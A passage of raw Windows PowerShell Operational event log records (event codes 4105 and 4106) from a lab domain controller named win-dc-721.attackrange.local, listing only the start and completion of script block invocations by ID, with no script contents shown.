Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477057
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477056
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477055
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477054
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477053
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477052
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477051
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477050
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477049
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477048
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477046
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477044
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477043
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477042
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477041
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477040
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477038
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477037
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477036
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477035
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477034
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477033
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477032
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477031
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477030
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477029
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477028
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477027
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477026
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477025
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477024
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477022
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477021
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477020
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477018
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477016
Keywords=None
Message=Started invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477015
Keywords=None
Message=Completed invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477014
Keywords=None
Message=Started invocation of ScriptBlock ID: b2eb694c-eb34-4333-84e2-ab9d54020287
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477012
Keywords=None
Message=Started invocation of ScriptBlock ID: 5a6b2030-4af5-4510-9826-38fb11344c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477011
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477010
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477008
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477007
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477006
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477005
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477004
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477003
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:04:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
